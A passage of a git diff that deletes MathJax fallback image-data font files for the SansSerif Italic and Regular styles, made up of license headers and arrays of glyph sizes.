-      [15,13,0],[18,15,0],[22,18,0],[25,21,0],[30,26,1],[36,30,1]
-    ],
-    0x76: [  // LATIN SMALL LETTER V
-      [4,3,0],[5,4,0],[6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
-      [15,13,0],[18,15,0],[22,18,0],[26,21,0],[30,26,0],[36,30,0]
-    ],
-    0x77: [  // LATIN SMALL LETTER W
-      [6,3,0],[7,4,0],[8,5,0],[9,6,0],[11,6,0],[13,8,0],[15,9,0],[18,11,0],
-      [22,13,0],[26,15,0],[30,18,0],[36,21,0],[43,26,0],[51,30,0]
-    ],
-    0x78: [  // LATIN SMALL LETTER X
-      [4,3,0],[5,4,0],[6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
-      [15,13,0],[18,15,0],[22,18,0],[25,21,0],[30,26,0],[36,30,0]
-    ],
-    0x79: [  // LATIN SMALL LETTER Y
-      [4,4,1],[5,6,2],[6,7,2],[7,9,3],[8,9,3],[9,11,3],[11,13,4],[13,16,5],
-      [15,19,6],[18,21,6],[22,26,8],[26,30,9],[30,38,12],[36,43,14]
-    ],
-    0x7A: [  // LATIN SMALL LETTER Z
-      [4,3,0],[5,4,0],[5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[17,15,0],[20,17,0],[23,21,0],[28,26,0],[33,29,0]
-    ],
-    0x7E: [  // TILDE
-      [4,1,-1],[5,2,-2],[6,2,-2],[7,2,-3],[8,2,-3],[10,4,-3],[11,3,-4],[13,3,-5],
-      [16,4,-5],[19,5,-6],[22,5,-8],[27,6,-9],[31,8,-11],[37,9,-13]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/BasicLatin.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/CombDiacritMarks.js
deleted file mode 100644
index 098da839..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/CombDiacritMarks.js
+++ /dev/null
@@ -1,77 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/CombDiacritMarks.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif-italic": {
-    0x300: [  // COMBINING GRAVE ACCENT
-      [2,1,-4],[3,2,-4],[3,2,-6],[3,2,-7],[3,2,-7],[4,3,-9],[5,4,-10],[5,4,-13],
-      [6,5,-15],[7,6,-17],[8,7,-21],[9,8,-24],[11,10,-30],[13,11,-34]
-    ],
-    0x301: [  // COMBINING ACUTE ACCENT
-      [3,1,-4],[3,2,-4],[3,2,-6],[4,2,-7],[4,2,-7],[6,3,-9],[6,4,-10],[7,4,-13],
-      [8,5,-15],[10,6,-17],[11,7,-21],[12,8,-24],[15,10,-30],[18,11,-34]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [4,1,-4],[4,2,-4],[5,2,-6],[5,2,-7],[6,2,-7],[7,3,-9],[8,4,-10],[9,4,-13],
-      [10,5,-15],[13,6,-17],[15,7,-21],[17,8,-24],[20,10,-30],[24,11,-34]
-    ],
-    0x303: [  // COMBINING TILDE
-      [4,1,-3],[4,1,-5],[4,2,-5],[5,3,-6],[6,2,-7],[6,3,-9],[8,3,-10],[9,3,-13],
-      [11,4,-15],[12,5,-17],[15,6,-21],[17,6,-25],[21,8,-31],[24,9,-35]
-    ],
-    0x304: [  // COMBINING MACRON
-      [4,1,-3],[4,1,-5],[5,1,-6],[5,2,-6],[6,2,-6],[8,3,-9],[9,2,-11],[10,2,-13],
-      [11,3,-16],[14,3,-18],[16,4,-22],[18,4,-25],[22,5,-31],[26,6,-36]
-    ],
-    0x306: [  // COMBINING BREVE
-      [3,1,-4],[4,2,-4],[4,2,-6],[5,3,-6],[6,3,-6],[7,4,-8],[8,4,-10],[9,4,-13],
-      [11,6,-14],[13,6,-17],[15,8,-20],[18,9,-23],[21,11,-29],[24,12,-33]
-    ],
-    0x307: [  // COMBINING DOT ABOVE
-      [2,1,-3],[2,1,-5],[2,2,-5],[3,2,-7],[3,2,-7],[3,2,-10],[3,3,-10],[4,3,-13],
-      [4,3,-16],[5,4,-18],[6,5,-22],[7,5,-26],[8,6,-33],[9,7,-38]
-    ],
-    0x308: [  // COMBINING DIAERESIS
-      [3,1,-3],[4,1,-5],[4,2,-5],[5,2,-7],[5,2,-7],[6,2,-10],[7,2,-11],[8,3,-13],
-      [10,3,-16],[11,4,-18],[13,4,-23],[15,5,-26],[19,6,-33],[21,7,-38]
-    ],
-    0x30A: [  // COMBINING RING ABOVE
-      [2,1,-3],[2,2,-4],[3,2,-5],[3,2,-7],[4,2,-7],[4,3,-9],[5,3,-10],[6,5,-11],
-      [7,5,-14],[8,6,-16],[9,7,-21],[11,8,-24],[13,10,-30],[15,11,-34]
-    ],
-    0x30B: [  // COMBINING DOUBLE ACUTE ACCENT
-      [3,2,-2],[4,2,-4],[4,2,-5],[5,3,-6],[5,3,-6],[7,3,-9],[8,4,-9],[9,5,-11],
-      [10,5,-14],[13,6,-16],[15,8,-20],[17,9,-23],[20,10,-30],[24,11,-34]
-    ],
-    0x30C: [  // COMBINING CARON
-      [3,1,-3],[4,2,-4],[4,2,-5],[5,2,-6],[5,2,-6],[6,3,-9],[8,4,-10],[9,4,-12],
-      [10,5,-14],[12,6,-16],[15,7,-19],[17,8,-22],[20,10,-28],[23,11,-32]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/Main.js
deleted file mode 100644
index 41510385..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/Main.js
+++ /dev/null
@@ -1,34 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif-italic": {
-
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/Other.js
deleted file mode 100644
index b13786ea..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/unpacked/Other.js
+++ /dev/null
@@ -1,157 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/Other.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif-italic": {
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x131: [  // LATIN SMALL LETTER DOTLESS I
-      [2,3,0],[3,4,0],[3,5,0],[4,6,0],[4,6,0],[5,8,0],[6,9,0],[6,11,0],
-      [8,13,0],[9,15,0],[11,18,0],[12,21,0],[15,25,0],[17,29,0]
-    ],
-    0x237: [  // LATIN SMALL LETTER DOTLESS J
-      [3,4,1],[4,6,2],[4,7,2],[6,9,3],[6,9,3],[7,11,3],[8,13,4],[10,16,5],
-      [11,19,6],[14,21,6],[16,26,8],[19,30,9],[22,37,12],[26,43,14]
-    ],
-    0x300: [  // COMBINING GRAVE ACCENT
-      [2,1,-4],[3,2,-4],[3,2,-6],[3,2,-7],[3,2,-7],[4,3,-9],[5,4,-10],[5,4,-13],
-      [6,5,-15],[7,6,-17],[8,7,-21],[9,8,-24],[11,10,-30],[13,11,-34]
-    ],
-    0x301: [  // COMBINING ACUTE ACCENT
-      [3,1,-4],[3,2,-4],[3,2,-6],[4,2,-7],[4,2,-7],[6,3,-9],[6,4,-10],[7,4,-13],
-      [8,5,-15],[10,6,-17],[11,7,-21],[12,8,-24],[15,10,-30],[18,11,-34]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [4,1,-4],[4,2,-4],[5,2,-6],[5,2,-7],[6,2,-7],[7,3,-9],[8,4,-10],[9,4,-13],
-      [10,5,-15],[13,6,-17],[15,7,-21],[17,8,-24],[20,10,-30],[24,11,-34]
-    ],
-    0x303: [  // COMBINING TILDE
-      [4,1,-3],[4,1,-5],[4,2,-5],[5,3,-6],[6,2,-7],[6,3,-9],[8,3,-10],[9,3,-13],
-      [11,4,-15],[12,5,-17],[15,6,-21],[17,6,-25],[21,8,-31],[24,9,-35]
-    ],
-    0x304: [  // COMBINING MACRON
-      [4,1,-3],[4,1,-5],[5,1,-6],[5,2,-6],[6,2,-6],[8,3,-9],[9,2,-11],[10,2,-13],
-      [11,3,-16],[14,3,-18],[16,4,-22],[18,4,-25],[22,5,-31],[26,6,-36]
-    ],
-    0x306: [  // COMBINING BREVE
-      [3,1,-4],[4,2,-4],[4,2,-6],[5,3,-6],[6,3,-6],[7,4,-8],[8,4,-10],[9,4,-13],
-      [11,6,-14],[13,6,-17],[15,8,-20],[18,9,-23],[21,11,-29],[24,12,-33]
-    ],
-    0x307: [  // COMBINING DOT ABOVE
-      [2,1,-3],[2,1,-5],[2,2,-5],[3,2,-7],[3,2,-7],[3,2,-10],[3,3,-10],[4,3,-13],
-      [4,3,-16],[5,4,-18],[6,5,-22],[7,5,-26],[8,6,-33],[9,7,-38]
-    ],
-    0x308: [  // COMBINING DIAERESIS
-      [3,1,-3],[4,1,-5],[4,2,-5],[5,2,-7],[5,2,-7],[6,2,-10],[7,2,-11],[8,3,-13],
-      [10,3,-16],[11,4,-18],[13,4,-23],[15,5,-26],[19,6,-33],[21,7,-38]
-    ],
-    0x30A: [  // COMBINING RING ABOVE
-      [2,1,-3],[2,2,-4],[3,2,-5],[3,2,-7],[4,2,-7],[4,3,-9],[5,3,-10],[6,5,-11],
-      [7,5,-14],[8,6,-16],[9,7,-21],[11,8,-24],[13,10,-30],[15,11,-34]
-    ],
-    0x30B: [  // COMBINING DOUBLE ACUTE ACCENT
-      [3,2,-2],[4,2,-4],[4,2,-5],[5,3,-6],[5,3,-6],[7,3,-9],[8,4,-9],[9,5,-11],
-      [10,5,-14],[13,6,-16],[15,8,-20],[17,9,-23],[20,10,-30],[24,11,-34]
-    ],
-    0x30C: [  // COMBINING CARON
-      [3,1,-3],[4,2,-4],[4,2,-5],[5,2,-6],[5,2,-6],[6,3,-9],[8,4,-10],[9,4,-12],
-      [10,5,-14],[12,6,-16],[15,7,-19],[17,8,-22],[20,10,-28],[23,11,-32]
-    ],
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[9,9,0],[11,12,0],[13,13,0],[15,16,0],
-      [18,19,0],[22,22,0],[26,28,0],[31,32,0],[36,39,0],[43,46,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [6,5,0],[7,6,0],[8,8,0],[10,9,0],[11,9,0],[14,12,0],[16,14,0],[19,17,0],
-      [22,20,0],[26,23,0],[31,28,0],[37,32,0],[44,40,0],[52,46,0]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [6,5,0],[7,6,0],[8,8,0],[10,9,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-      [23,20,0],[27,23,0],[32,28,0],[38,34,2],[45,42,1],[53,48,1]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [5,5,0],[5,6,0],[6,8,0],[7,9,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [17,20,0],[20,23,0],[23,28,0],[28,32,0],[33,40,0],[39,46,0]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,9,0],[13,12,0],[15,13,0],[18,16,0],
-      [22,19,0],[26,22,0],[30,28,0],[36,32,0],[43,39,0],[51,45,0]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [6,4,0],[7,6,0],[8,7,0],[10,9,0],[11,9,0],[13,12,0],[15,13,0],[18,16,0],
-      [22,19,0],[26,22,0],[31,28,0],[36,32,0],[43,39,0],[51,45,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [6,4,0],[7,6,0],[8,7,0],[10,9,0],[12,9,0],[14,12,0],[16,13,0],[19,16,0],
-      [23,19,0],[27,22,0],[32,28,0],[38,32,0],[45,39,0],[54,46,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [6,5,0],[7,6,0],[9,8,0],[10,9,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[28,23,0],[33,28,0],[40,32,0],[47,41,0],[56,48,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,9,0],[13,12,0],[15,13,0],[18,16,0],
-      [21,19,0],[25,22,0],[30,28,0],[35,32,0],[42,40,0],[49,46,0]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [6,5,0],[8,6,0],[9,8,0],[11,9,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,39,0],[57,46,0]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [6,5,0],[7,6,0],[8,8,0],[10,9,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[31,28,0],[36,33,0],[43,41,0],[51,47,0]
-    ],
-    0x2013: [  // EN DASH
-      [4,1,-1],[5,1,-2],[6,1,-2],[7,1,-3],[8,1,-3],[10,3,-3],[12,2,-5],[14,2,-6],
-      [16,3,-7],[19,3,-8],[23,3,-9],[27,4,-11],[32,5,-13],[38,5,-15]
-    ],
-    0x2014: [  // EM DASH
-      [8,1,-1],[9,1,-2],[11,1,-2],[13,1,-3],[15,1,-3],[18,3,-3],[21,2,-5],[25,2,-6],
-      [30,3,-7],[36,3,-8],[42,3,-9],[50,4,-11],[59,5,-13],[71,5,-15]
-    ],
-    0x2018: [  // LEFT SINGLE QUOTATION MARK
-      [3,2,-2],[3,2,-4],[4,3,-4],[4,4,-5],[5,4,-5],[6,4,-8],[7,4,-9],[8,6,-10],
-      [10,6,-13],[12,8,-14],[14,9,-19],[16,11,-21],[19,13,-27],[23,15,-31]
-    ],
-    0x2019: [  // RIGHT SINGLE QUOTATION MARK
-      [3,2,-2],[3,2,-4],[4,3,-4],[4,3,-6],[5,3,-6],[6,4,-8],[7,5,-8],[8,6,-10],
-      [10,7,-12],[12,8,-14],[14,10,-18],[16,11,-21],[19,13,-27],[23,15,-31]
-    ],
-    0x201C: [  // LEFT DOUBLE QUOTATION MARK
-      [5,2,-2],[6,2,-4],[7,3,-4],[8,4,-5],[9,4,-5],[11,4,-8],[12,4,-9],[15,6,-10],
-      [17,6,-13],[21,8,-14],[25,9,-19],[29,11,-21],[34,13,-27],[41,15,-31]
-    ],
-    0x201D: [  // RIGHT DOUBLE QUOTATION MARK
-      [4,2,-2],[4,2,-4],[5,3,-4],[6,3,-6],[7,3,-6],[8,4,-8],[10,5,-8],[11,6,-10],
-      [14,7,-12],[16,8,-14],[19,10,-18],[22,11,-21],[27,13,-27],[32,15,-31]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/BasicLatin.js
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--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/CombDiacritMarks.js
deleted file mode 100644
index e36aa5fb..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_SansSerif:{768:[[2,1,-4],[3,2,-4],[4,2,-6],[3,2,-7],[4,2,-7],[4,3,-9],[6,4,-10],[6,4,-13],[7,5,-15],[8,6,-17],[10,7,-20],[11,8,-24],[13,10,-29],[15,11,-34]],769:[[3,1,-4],[3,2,-4],[3,2,-6],[4,2,-7],[4,2,-7],[5,3,-9],[5,4,-10],[7,4,-13],[7,5,-15],[8,6,-17],[9,7,-20],[12,8,-24],[13,10,-29],[15,11,-34]],770:[[3,1,-4],[4,2,-4],[5,2,-6],[5,2,-7],[5,2,-7],[6,3,-9],[8,4,-10],[9,4,-13],[10,5,-15],[12,6,-17],[14,7,-20],[17,8,-24],[20,10,-29],[23,11,-34]],771:[[3,1,-4],[4,1,-5],[5,2,-6],[5,3,-6],[5,2,-7],[6,3,-9],[8,3,-11],[9,3,-14],[10,4,-16],[12,5,-18],[14,6,-21],[17,6,-25],[20,8,-31],[23,9,-35]],772:[[3,1,-3],[4,1,-5],[5,1,-6],[6,2,-6],[6,2,-6],[7,3,-9],[8,2,-11],[9,2,-13],[11,3,-16],[13,3,-18],[15,4,-22],[18,4,-25],[21,5,-31],[25,6,-36]],774:[[3,1,-4],[4,2,-4],[5,2,-6],[6,3,-6],[5,3,-6],[7,4,-8],[8,4,-10],[9,4,-13],[10,6,-14],[13,6,-17],[15,8,-19],[17,9,-23],[20,11,-28],[25,12,-33]],775:[[2,1,-4],[2,1,-5],[2,2,-6],[2,2,-7],[3,2,-7],[3,2,-10],[3,3,-11],[4,3,-14],[4,3,-17],[4,4,-19],[5,5,-23],[6,5,-26],[7,6,-33],[7,7,-38]],776:[[3,1,-4],[4,1,-5],[3,2,-6],[4,2,-7],[5,2,-7],[6,2,-10],[6,2,-12],[8,3,-14],[9,3,-17],[11,4,-19],[12,4,-23],[15,5,-27],[17,6,-33],[21,7,-38]],778:[[3,1,-4],[3,2,-4],[4,2,-6],[3,2,-7],[4,2,-7],[5,3,-9],[6,3,-11],[6,5,-12],[7,6,-14],[8,6,-17],[10,7,-20],[11,8,-24],[13,10,-29],[15,11,-34]],779:[[3,2,-3],[4,2,-4],[4,2,-6],[5,3,-6],[5,3,-6],[6,3,-9],[7,4,-10],[9,5,-12],[10,5,-15],[12,6,-17],[13,7,-20],[16,8,-24],[19,10,-29],[22,11,-34]],780:[[3,1,-3],[4,2,-4],[5,2,-5],[5,2,-6],[5,2,-6],[6,3,-9],[8,4,-10],[9,4,-12],[10,5,-14],[12,6,-16],[14,7,-19],[17,8,-22],[20,10,-28],[23,11,-32]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/Main.js
deleted file mode 100644
index 1c23d62d..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_SansSerif:{}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/Other.js
deleted file mode 100644
index 1ed29c9e..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_SansSerif:{160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],305:[[2,3,0],[2,4,0],[2,5,0],[2,6,0],[3,6,0],[3,8,0],[4,9,0],[4,11,0],[5,13,0],[6,15,0],[7,17,0],[8,20,0],[10,26,0],[11,30,0]],567:[[3,4,1],[3,6,2],[3,7,2],[4,9,3],[4,9,3],[5,11,3],[6,13,4],[7,16,5],[8,18,5],[9,21,6],[11,25,8],[12,30,10],[15,38,12],[17,43,14]],768:[[2,1,-4],[3,2,-4],[4,2,-6],[3,2,-7],[4,2,-7],[4,3,-9],[6,4,-10],[6,4,-13],[7,5,-15],[8,6,-17],[10,7,-20],[11,8,-24],[13,10,-29],[15,11,-34]],769:[[3,1,-4],[3,2,-4],[3,2,-6],[4,2,-7],[4,2,-7],[5,3,-9],[5,4,-10],[7,4,-13],[7,5,-15],[8,6,-17],[9,7,-20],[12,8,-24],[13,10,-29],[15,11,-34]],770:[[3,1,-4],[4,2,-4],[5,2,-6],[5,2,-7],[5,2,-7],[6,3,-9],[8,4,-10],[9,4,-13],[10,5,-15],[12,6,-17],[14,7,-20],[17,8,-24],[20,10,-29],[23,11,-34]],771:[[3,1,-4],[4,1,-5],[5,2,-6],[5,3,-6],[5,2,-7],[6,3,-9],[8,3,-11],[9,3,-14],[10,4,-16],[12,5,-18],[14,6,-21],[17,6,-25],[20,8,-31],[23,9,-35]],772:[[3,1,-3],[4,1,-5],[5,1,-6],[6,2,-6],[6,2,-6],[7,3,-9],[8,2,-11],[9,2,-13],[11,3,-16],[13,3,-18],[15,4,-22],[18,4,-25],[21,5,-31],[25,6,-36]],774:[[3,1,-4],[4,2,-4],[5,2,-6],[6,3,-6],[5,3,-6],[7,4,-8],[8,4,-10],[9,4,-13],[10,6,-14],[13,6,-17],[15,8,-19],[17,9,-23],[20,11,-28],[25,12,-33]],775:[[2,1,-4],[2,1,-5],[2,2,-6],[2,2,-7],[3,2,-7],[3,2,-10],[3,3,-11],[4,3,-14],[4,3,-17],[4,4,-19],[5,5,-23],[6,5,-26],[7,6,-33],[7,7,-38]],776:[[3,1,-4],[4,1,-5],[3,2,-6],[4,2,-7],[5,2,-7],[6,2,-10],[6,2,-12],[8,3,-14],[9,3,-17],[11,4,-19],[12,4,-23],[15,5,-27],[17,6,-33],[21,7,-38]],778:[[3,1,-4],[3,2,-4],[4,2,-6],[3,2,-7],[4,2,-7],[5,3,-9],[6,3,-11],[6,5,-12],[7,6,-14],[8,6,-17],[10,7,-20],[11,8,-24],[13,10,-29],[15,11,-34]],779:[[3,2,-3],[4,2,-4],[4,2,-6],[5,3,-6],[5,3,-6],[6,3,-9],[7,4,-10],[9,5,-12],[10,5,-15],[12,6,-17],[13,7,-20],[16,8,-24],[19,10,-29],[22,11,-34]],780:[[3,1,-3],[4,2,-4],[5,2,-5],[5,2,-6],[5,2,-6],[6,3,-9],[8,4,-10],[9,4,-12],[10,5,-14],[12,6,-16],[14,7,-19],[17,8,-22],[20,10,-28],[23,11,-32]],915:[[4,5,0],[5,6,0],[5,8,0],[6,9,0],[7,9,0],[9,12,0],[10,14,0],[12,17,0],[14,20,0],[17,23,0],[20,27,0],[24,32,0],[28,39,0],[33,45,0]],916:[[6,5,0],[7,6,0],[8,8,0],[10,9,0],[11,9,0],[14,12,0],[16,14,0],[19,17,0],[22,20,0],[26,23,0],[31,27,0],[37,32,0],[44,39,0],[52,45,0]],920:[[5,5,0],[6,6,0],[8,8,0],[9,9,0],[10,9,0],[12,12,0],[15,14,0],[17,19,1],[20,22,1],[24,25,1],[29,27,0],[34,34,1],[40,42,1],[48,49,1]],923:[[5,5,0],[5,6,0],[6,8,0],[7,9,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],[17,20,0],[20,23,0],[23,27,0],[28,32,0],[33,39,0],[39,45,0]],926:[[5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],[18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,39,0],[42,45,0]],928:[[5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],[18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,39,0],[41,45,0]],931:[[5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],[19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,39,0],[44,45,0]],933:[[5,5,0],[6,6,0],[8,8,0],[9,9,0],[10,9,0],[12,12,0],[15,14,0],[17,18,0],[20,21,0],[24,24,0],[29,27,0],[34,33,0],[40,41,0],[48,47,0]],934:[[5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],[19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,39,0],[44,45,0]],936:[[5,5,0],[6,6,0],[8,8,0],[9,9,0],[10,9,0],[12,12,0],[15,14,0],[17,17,0],[20,20,0],[24,23,0],[29,27,0],[34,32,0],[40,39,0],[48,45,0]],937:[[5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,9,0],[12,12,0],[14,14,0],[16,18,0],[19,21,0],[23,24,0],[27,27,0],[32,33,0],[38,41,0],[45,47,0]